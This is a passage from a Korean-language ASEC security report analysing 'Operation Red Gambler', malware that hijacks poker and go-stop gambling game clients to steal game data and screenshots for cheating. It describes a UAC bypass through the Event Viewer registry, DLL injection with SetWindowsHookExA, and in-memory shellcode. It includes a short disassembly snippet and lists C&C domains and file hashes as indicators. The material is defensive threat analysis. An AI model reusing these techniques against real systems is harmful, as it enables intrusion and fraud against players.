이실행과정은관리자권한 (High Integrity ASEC REPORT Vol.91 Security Trend 30
Level) 으로동작하므로데이터영역에특정파일의경로를추가할경우관리자권한으로파일을실 행할수있다. 그림 2-10 레지스트리생성 (RegCreateKeyExA) 정보 악성코드는 [ 그림 2-10] 과같이레지스트리에파일경로를추가한뒤이벤트뷰어를실행한다. 이 때이벤트뷰어에의해관리자권한으로실행된악성코드는 UAC 기능을우회하여악성행위를수 행한다. 그림 2-11 악성코드실행이후단계별정보 ASEC REPORT Vol.91 Security Trend 31
또한드로퍼 (Dropper) 기능을수행하며 [ 그림 1-11] 과같이파일내암호화된두개의파일을복호 화하여특정경로에추가파일을생성한다. 생성된추가파일은 taskeng.exe 와 wrmk.dll 이며, 작 업스케줄러에등록되어일정간격으로자동실행된다. [ 그림 2-12] 의암호화된두개의파일 (taskeng.exe, wrmk.dll) 의복원을위해사용된복호화코드는공격그룹의과거행적에서발견된복호화코드와일치한다. 자세한내용은 03. 연관성분석에서확인할수있다. [ 그림 2-13] 은 taskeng.exe 내부를나타낸 것이다. taskeng.exe 를통해구동된 wrmk. 그림 2-12 암호화된추가파일을복호화하는코드 dll 은악성행위를수행하기위해내부함수 StartChk() 를호출하며, wrmk.dll 은후킹함수 SetWindowsHookExA() 를이용하여실행중인프로세스에자신을인젝션 (Injection) 한다. 이동 작은 24 시간동안수행되며, 5 초간대기한후다시작업이수행된다. 그림 2-13 taskeng.exe 내부의모습 ASEC REPORT Vol.91 Security Trend 32
그림 2-14 프로세스에삽입된 wrmk.dll 내부의모습 - 1 인젝션된 wrmk.dll 은 [ 그림 2-14] 와같이인젝션대상프로세스의정보를확인한다. 확인하는프 로세스의정보는파일경로및파일이름이며, 프로세스가공격대상게임인지여부를판단한다. 게임종류게임이름파일경로파일이름 XXXXX 게임포커 *****game\poker Poker.exe 포커 XXXXX 게임포커 *****Game\Poker Poker.exe XXXX 7 포커 Poker.dll 표 2-7 공격대상게임종류 ( 단, 게임이포커일경우 ) 고스톱 포커류의사행성게임은게임종류는동일하나운영하는업체가다른경우가다수존재한다. 예를들면같은포커류게임이지만, 운영하는업체에따라 ** 탄포커게임, ** 드포커게임, * 망 7포커등으로분류된다. 이처럼파일이름이중복되는경우에는 [ 표 2-7] 의파일경로정보를이용하여공격대상에포함되는지추가로확인하는것으로추정된다. 만약프로세스가공격대상게임으로확인되면 [ 그림 2-15] 와같이게임별로각각새로운쓰레 드 (Thread) 를호출하여사용자의게임정보유 그림 2-15 프로세스에삽입된 wrmk.dll 내부의모습 - 2 출을시도한다. ASEC REPORT Vol.91 Security Trend 33
[ 그림 2-16] 과같이게임정보유출을위해악성코드에는메모리해킹 (Memory Hacking) 공격기법이적용되어있다. 고스톱 포커류의사행성게임의사용자정보는메모리영역에저장되므 로이를탈취하기위해사용되는공격방법이다. 그림 2-16 프로세스에삽입된 wrmk.dll 내부의모습 - 3 게임별로메모리영역에차이가있으므로해킹과정에사용되는코드정보또한다른데, 메모리해킹에사용되는코드의공통적인특징은해킹할메모리영역을찾아내 [ 그림2-17] 과같이게임채널, 게임방제목등의정보를 C&C 서버로전송하는것이다. 또한 [ 그림 2-18] 과같이실행중인게임화면 을캡쳐하는데, 캡쳐된화면정보는앞서수집 된사용자의게임정보와마찬가지로암호화하 그림 2-17 프로세스에삽입된 wrmk.dll 내부의모습 - 4 여 C&C 서버로전송한다. 그림 2-18 프로세스에삽입된 wrmk.dll 내부의모습 - 5 ASEC REPORT Vol.91 Security Trend 34
C&C 서버로전송된게임이름, 게임채널, 게임방제목, 게임화면정보는 [ 그림 2-19] 와같이범행사무실에서관리프로그램을통해감시가가능하다. 이를이용하여사기도박자가악성 코드에감염된시스템에서실행중인게임방에 그림 2-19 관리프로그램 ( 예시 ) 과게임이용자의화면정보 접속하여상대방의패를보는방식으로사기도박을진행하였을것으로판단된다. 한편 2017 년 2 분기부터유포된변종악성코드는이전에사용된악성코드와상당한차이를보였는 데, 이변종의가장큰특징은쉘코드 (ShellCode) 와 DLL 을시스템에생성하지않고메모리공간 에생성하는것이다. 그림 2-20 악성코드동작구조 - 1 변종악성코드는 [ 그림 2-20] 과같이실행중인사행성게임프로세스에함수 VirtualAlloc() 를호출하여가상메모리공간을확보한다. [ 그림 2-21] 에서는확보된메모리공간에함수 WriteProcessMemory() 를이용하여시스템내에서특정명령을실행하도록하는쉘코드 (ShellCode) 와 DLL을생성하는것을확인할 그림 2-21 악성코드동작구조 - 2 수있다. ASEC REPORT Vol.91 Security Trend 35
또한 [ 그림 2-22] 와같이함수 CreateProcessA() 를메모리패치하여사행성게임프로세스가해당함수를호출할때사행성게임프로세스의메모리공간에생성해둔쉘코드를실행한다. 실행된쉘코드는 [ 그림 2-23] 과같이 DLL 을다 그림 2-22 악성코드동작구조 - 3 시실행하는데, 이후부터는이전과동일하게프로세스가공격대상게임인경우사용자의게임정보 유출을시도한다. 그림 2-23 악성코드동작구조 - 4 A 공격그룹은지속적으로이와같은변종악성코드를유포하였으며, 이는주기적으로상표가변경 되는고스톱 포커류의사행성게임시장의특수한환경요인때문인것으로추정된다. 그림 2-24 변경된함수명과공격대상정보 ASEC REPORT Vol.91 Security Trend 36
항목변경전변경후 함수명 공격대상 idhook ID EndChk StartChk *** 망 (***ang) *** 탄게임 (*****tan Game) **** 드게임 (*****nd Game) Public StartChk mov eax, hmod push 0x0 push eax ; hmod push offset fn push 0x3 ; WH_GETMESSAGE call ds:setwindowshookexa() EndTest StartTest *** 망 (***ang) ***** 게임 (*****game) ***** 팩트게임 (*****pact Game) ***** 게임 (*****rry Game) Public StartTest mov eax, hmod push 0x0 push eax ; hmod push offset fn push 0x5 ; WH_CBT call ds:setwindowshookexa() 표 2-8 변경된함수명, 공격대상, 후킹정보 2017 년 1 분기에유포된변종악성코드는 [ 그림 2-24] 과같이기존악성코드에서사용된 EX- PORT 함수명과공격대상게임이변경되었으며, DLL 인젝션과정에서사용하는 idhook ID 가 0x3h(WH_GETMESSAGE) 에서 0x5h(WH_CBT) 로변경되었다. [ 표 2-8] 은변경된함수명, 공격대상, 후킹정보에대한상세내용이다. 변경된함수명에포함된문자열 Test 을근거로공격자는제작한악성코드가정상작동하는지를시험한것으로추정된다. 또한 ** 탄게임과 ** 드게임의상표변경으로인하여, 공격대상이 * 팩트게임, * 리게임으로수정되었다. [ 그림 2-25] 은게임별메모리해킹코드정보 이다. 게임이름은다르나메모리해킹과정에 서사용되는코드가동일한것을확인할수있 그림 2-25 게임별메모리해킹코드정보 다. 이를근거로게임의상표가변경되더라도 ASEC REPORT Vol.91 Security Trend 37
게임클라이언트에큰변화가없는것으로판단되며, 고스톱 포커류의게임시장에서는운영자가 상표만변경하여동일한게임을운영하는것으로추정할수있다. 03. 연관성분석 2016년 10월부터 2017년 8월까지약 11개월동안진행된공격에서수집된자료및과거국내주요사이버공격에대한분석을바탕으로프로파일링한결과, 안랩시큐리티대응센터 (ASEC) 는이번오퍼레이션레드갬블러 (Operation Red Gambler) 공격역시 A 공격그룹과관련되어있음을확인했다. 그림 2-26 게임별메모리해킹코드정보 [ 그림 2-26] 는 A 공격그룹과관련된국내주요사이버공격에서사용된악성코드를나열한그림이다. 2016년 2월 I사인증서유출, 2016년 4월방산업체해킹, 2016년 8월국가기관해킹, 2017년 3월 ATM 해킹등에사용한악성코드와오퍼레이션레드갬블러공격에사용된악성코드가동일한암 / 복호화코드패턴을사용하고있음을알수있다. 04. 안랩제품의대응현황 MDS 와 V3 제품군등안랩의주요제품은오퍼레이션레드갬블러 (Operation Red Gambler) 와관 련된악성코드를각각다음과같은진단명으로탐지및대응하고있다. ASEC REPORT Vol.91 Security Trend 38
AhnLab MDS V3 제품군 Malware/MDP.Download 등 Trojan/Win32.GameHack 등 05. 결론안랩시큐리티대응센터 (ASEC) 가특정국가와관련된것으로추정되는해킹그룹의최근공격동향을분석한결과, 표면적으로는정보유출이주목적인것처럼보이지만실제로는오퍼레이션레드갬블러와같이탈취한정보를이용하여경제적이득을취하려는시도또한다수존재했다. 특히지난 2016 년부터국내를타깃으로지속적인공격을전개해온 A 공격그룹은과거국내주요기 관및기업에대한공격에집중했던것과는별개로최근다수의일반사용자들에게도사이버공격을 수행하며공격대상을다각화하고있다. A 공격그룹은경제적이익을위해앞으로도다양한악성코드를사용하여다수의공격을시도할것으 로예상되며, 이러한공격에대비하기위해국가기관과보안업체간의긴밀한공조와협력이필요할 뿐만아니라개인사용자들도더욱각별한주의가필요하다. 06. 관련침해지표 (IOC, Incident of Compromise) MD5 C&C 768bd6497d7e903d28120b1152feced1 9a50be3def3681242f35d3c0911e2e70 de372dba210fad421d92e8298164a22d C8C14063031059C724C2A4F5ED0898DF 323a410779f2aef79a5e1e0ee600789d ffe1401330a8fee59bcc058ecac0ed18 2573d0ad00f4ba8ee86d7fce7454d963 A59DAB67BF24D3D5E139B5F5611A6CFE 7f007fd794c93267f57cabe464dbdc5a 40f4305b7c9bf1236b9accbc0dc8fb88 0bba3d00a4212d24b4c77bb06efcee47 mobile.read-books.org blogs.pgafan.net daum.servehttp.com pmang.servegame.com naver.serveblog.net neowiz.servegame.com ASEC REPORT Vol.91 Security Trend 39